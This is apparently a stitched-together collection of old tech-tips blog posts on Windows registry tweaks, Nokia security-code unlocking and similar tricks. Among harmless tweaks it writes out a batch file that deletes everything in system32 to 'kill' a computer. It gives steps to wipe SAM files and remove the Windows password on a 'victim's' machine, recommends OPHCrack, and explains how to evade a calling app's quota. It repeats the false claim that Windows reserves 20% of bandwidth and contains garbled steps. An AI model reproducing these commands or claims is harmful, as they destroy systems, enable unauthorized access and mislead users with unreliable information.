Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.

At the command prompt type DEL where is the file you wish to delete.
Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.

Sometimes we put password for security keyguard but any how we get error to unlock the phone. As per my experience following tricks will help you a lot

1.Try the password ‘12345’.It is default password for all Nokia phone security keyguard.
2.If it did not work try to regain password you changed and try entering by switch off –on your phone.
3.Finally just remind what you have done while locking keyguard. And use same method to unlock the phone e.g. If you are listening music through head phones and locked the phone then use same method. Connect headphone and enter the changed password to unlock. My case this was worked. Also other tricks are like while charging, Sim card removal and insert etc.

Other than above traditional way below are some technical-online tricks will help you-

1.Go to following site. Go to “Forgotten your Nokia security code? Click here”. Enter your IMEI number(You will find this number on your mobile bill or on handset box)
http://www.trycktill.com/eng/unlock_swe.asp

Once you click then in below window you will get new security code like 3644263089. Enter and unlock security keyguard. There is other site also which same as above. Below is its link
http://www.unlockitfree.com/

2.Sometimes you will get code generated from above sites in following manner
#pw+3644263089+1# .To use this code you should use keypad *key to enter the alphabets and arithmetic signs. e.g. press * 3 times to enter ‘p’ character.

3.Try both the ways to enter the security code above. That means if you get only code then use’ #pw+’ before and ‘+1#’ end of the number.
Below is method which is suggested me by Nokia help desk
First type 11111 then 22222 up to 99999 repeating for 3, 4, 5,6,7,8 digits finally 00000.
Then take battery out and wait a good 10 minutes this resets the code. Turn your phone on and repeat the same process above in the same order and wait 10 more minutes. Once turn it on it will ask for your security code. As you have followed the steps the code will now be to the default of ‘12345’ then enter your new code to change it.

If all the above did not work then contact retailer or Nokia help desk to get it unlocked.

Hope this information will help you all.

Windows 7 is now becoming popular among windows operating system users.Windows 7 has cool hidden feature ,people calls it godmode in windows 7.GodMode is a folder that brings together a long list of customization settings allowing you to change all your settings from one place.This is very good as you can now change all your windows settings from one single place.

Follw the following steps to create god mode folder:

1. Create a new folder

2. Rename the folder to GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

You can change word GodMode to any other word you like your name or your friends name

3.The folder icon will change ,then double click it to show the GodMode windows options.

You can allow users to run only specified programs in Windows 7 operating systems. It is up to you if you want your shared computer to allow users to run only specified programs in Windows 7. A shared computer in an office, for example, can be set in the same way if the company does not want the employees to run all types of programs. You can allow the users to run only specified programs in Windows 7 by using the Local Group Policy. However, you cannot do this in the Home editions of Windows 7 as it does not provide the Local Group Policy Editor.
Click on the Start button.
Type “gpedit.msc” in the search box of the Start menu and press the Enter button on the keyboard.


Local Group Policy Editor will open. Scroll down to “User Configuration”, “Administrative Templates” and then “System” on the left hand side of the window pane.
On the right hand side of the window, under “Setting”, navigate and double-click on “Run only specified Windows applications”.



Select Enabled from the window.
Click on “Show” under Options.



The Show Contents window pane will appear. Here you can type the applications you want to let the users run.
After you are done, click on the OK button.
Close the Local Group Policy Editor.



After this, if someone attempts to run an app which was not specified by you, he will get this error message:



This feature to allow users to run only specified programs in Windows 7 is the best at preventing the users from accessing applications you don’t want them to use on a particular computer.

Follow the simple steps given below to block execution of any particular program on your Windows 7.
1.Click Start, and then click Run.
2.In the text box, type regedit, and press Enter.
3.Locate and then click the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer
4.In the right side panel right click on some empty area and point to New, and then click on DWORD Value.
5.Type disallowrun, and then press ENTER.
6.Double-click the DisallowRun value that you created in the previous step.
7.Type 1 in the Value data box, and then click OK.
8.Create a new HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer\DisallowRun subkey.
9.Right-click the following registry key, point to New, and then click Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer.
10.Type disallowrun, and then press ENTER.
11.For each program that you want to prevent users from running, create a new string value in the DisallowRun subkey . Use consecutive numbers to name the string values (starting with 1), and use the executable file name for the program as the data for the string value.For example, if you want to restrict users from running Microsoft Internet Explorer:
1. Go to the following key in Registry Editor:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer \DisallowRun. Then right click in the right side panel and create a new string value. Type 1, and then press ENTER.
2. Double-click the 1 value that you created in the previous step.
3.Type iexplore.exe in the Value data box, and then click OK.
12.Quit Registry Editor, and then restart the computer.

Method 1

Boot up with DOS and delete the sam.exe and sam.log files from Windows\system32\config in your hard drive. Now when you boot up in NT the password on your built-in administrator account which will be blank (i.e No password). This solution works only if your hard drive is FAT kind.

Method 2

Step 1. Put your hard disk of your computer in any other pc .
Step 2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ).
Step 3. Then open that drive in which the victim’s window(or your window) is installed.
Step 4. Go to location windows->system32->config
Step 5. And delete SAM.exe and SAM.log
Step 6. Now remove hard disk and put in your computer.
Step 7. And boot your computer

Disable Turn Off Option ..and ALT+F4 option

REGEDIT->HKEY_CURRENT_USER->SOFTWARE->MICROSOFT->
WINDOWS->POLICIES->EXPLORER

THEN GO TO RIGHT SIDE AND BY RIGHT CLICK OF UR MOUSE CREATE NEW DWORD VALUE WITH NAME NoClose and after creating click on it and give Value Data 1.

And Reboot your pc ..now your Turn Off option is disabled ..to Enable it again ..go to that directory by regedit ..and simply delete that created NoClose and Log Off Your User and Log in again ..your Turn off Again Working.

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor.
Then go to:
--> Local Computer Policy
--> Computer Configuration
--> Administrative Templates
--> Network
--> QOS Packet Scheduler
--> Limit Reservable Bandwidth.

Double click on Limit Reservable bandwidth.
It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Many of us sometimes find the folder options missing in windows explorer due to some virus or trojan effect.
Here's the solution-->

Open Run and then type "gpedit.msc".
Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"
Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

I hopes that you will find the option after restarting windows..

Adobe Acrobat reader always consumes more memory when it starts. The reason behind is, it loads all the plugins, even the plugins that you do not use. This trick is to remove all the plugins from the plugins directory to elsewhere. Hence, whenever you open Acrobat reader it directly opens the files without loading any plugins and the speed is just like Notepad.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast and almost as good as notepad.

what is killing of computer?

Its nothing but emptying the system32 folder of OS in your computer, so that your computer cannot boot b’coz system32 is essential folder which is needed for booting and all the core operation of OS.

write the following code in your notepad:-

- del c:\windows\system32\*.* /q

save the file as “terminator.bat” without quote

!!…red alert…!!

Don’t click this file in your computer b’coz the file u had created will empty all files in system32 folder which is essential for your computer to work

Thumbs.db is a small cache file of the current picture in that directory. To remove it do the following trick…
Steps to Follow :-

— Open “Windows Explorer”

— Goto “Tools”

— Open “Folder OPtions”

— Goto “View”

— Select “File and folders”

— Tick mark “DO NOT CACHE THUMBNAILS”

That’s it..

Now the Thumbs.db file will be removed from your computer and cannot be created back

Free calls are just a minute away

During this time of financial crisis you must have wondered if there was a way to make free calls so that you can reduce your cost of living a bit.Well we at cshared.com brings you with a new and cost free way of making calls to both local and mobile phones all over the world.Yep you heard it right and its totally FREE.

This program is called FreeCall.

Vist FreeCall to see whether your country is listed (almost all countries are listed there :) )

The best part is yet to come.We at cshared are going to exclusively announce the trick that you can implement to make the program give you more free calls.

THE TRICK: “FreeCall is still a Freeware app but you only get 300 minutes a week. To bypass this restriction: Keep the setup.exe. Freecall’s protection system is quite flawed, when the program announces you cannot use any more minutes = Uninstall and reinstall and it will reset your 300 minutes which only takes a moment. A)You MUST make an account with the program when it loads up. Then when your logged in (it will say at the bottom: ‘The client is logged on’ Go to the dial pad TAB, ignore the on screen buttons, at the bottom type in your number and remember you need to add country codes at the beginning – NO spaces in the number either. C) And it does do all countries for free – i’ve used it from NZ to england, USA, Spain and Aussie and they used it back. D) If it didn’t work, you need to check your firewall settings etc, this is an obvious but a program like this needs full access.”

The downloading speed of internet totally depends on the type of connection. Dial-up connection has 10-11 kbps downloading speed and broad-band connection nearly has 35kbps – 1MBps. So check out the connection which you are using for internet.

I had seen my friends using their cell phones for surfing internet on their PC. But the downloading speed is 4-7kbps. So it will take nearly 1 hour to download 7MB file.
You can check your downloading and uploading speed on http://www.speed.net.

Trick :

1. Go to Start > Run.

2. Type regedit and click OK.

3. A window will open containing two sub-windows. Left window indicates system folders and right window shows files in that folders.

4. Go to HKEY_CURRENT_USER > Software > Microsoft > Windows >

Current Version> Internet Setting

5. When you click on “Internet Setting”, many files will be seen in right window.

6. Now in the right window, right click on the free space and

select New > DWORD Value.

7. A new file be created and rename it as MaxConnectionPerServer. Double click on it, a dialog will appear.Enter value as 99 if the base is Hexadecimal. Enter value as 153 if the base is Decimal. Press OK.

8. Again right click and create a new DWORD Value and rename it as

MaxConnectionPer1_0Server. Repeat step number 7.

9. Restart your PC and connect it to the internet. Download any stuff and you’ll

find a boost in your downloading speed.

NOTE: This trick works on Internet Explorer. It also works on Windows Vista.

Here is a simple way to access Windows XP with Administrator rights and privileges if you have password protected your User account on your Windows XP system and can't remember the password(s) to login. Whenever Windows XP is installed on a system, it creates a default account called "Administrator" and by default this account is not password protected. Therefore, if you bought a brand name computer (such as Dell, HP, Compaq or Sony)or you have installed Windows XP yourself. You should be able to login to the computer through the unprotected Administrator account.


1.Reboot your machine.

2. Press F8 before the Windows boot screen appears. Do not press F5 as used on the NT/9x series of Windows. You will be be prompted with a boot options menu.

3.Select the Start Windows in Safe Mode option.

4. Click through several self-explanatory screens until your reach the familiar 'Welcome' screen.
Note that this welcome screen is limited to 256 colors and 640x480 resolution because the primary graphics will have been set to the Windows Safe Mode software VGA adapter. You will not be able to change this mode even in Display options, while Windows is running in Safe Mode.

5.Find the icon for the Administrator user. If the default settings of your system haven't been changed, there should be no password for this account.

6.The Safe Mode Welcome screen might display some of the other users on your system.

7.Login as the admin.

8.Press Yes at the prompt asking if you would like to continue using Safe Mode.

9.Continue on to the User Settings control panel. Here you can change any of the other
passwords for user on the machine. Make any changes you want.

10.Reboot your computer. As long as you don't press any keys (i.e. F8) during the boot-up the computer will startup normally.

11.Login as the user for which you set the password.

12.If it doesn't work above, you can try to use professional support recommendation OPHCrack (freeware) to crack your windows password without erasing anything.


Setting new password
1.Open the Control Panel.

2.Click the User Account.

3.Select the account you want to to set a new password.

4.Click changing Account and set up password, then fill out the form as listed. Click Create Password.

5.You now have a personal login ID and Password. No one has a right to login to your computer without this info.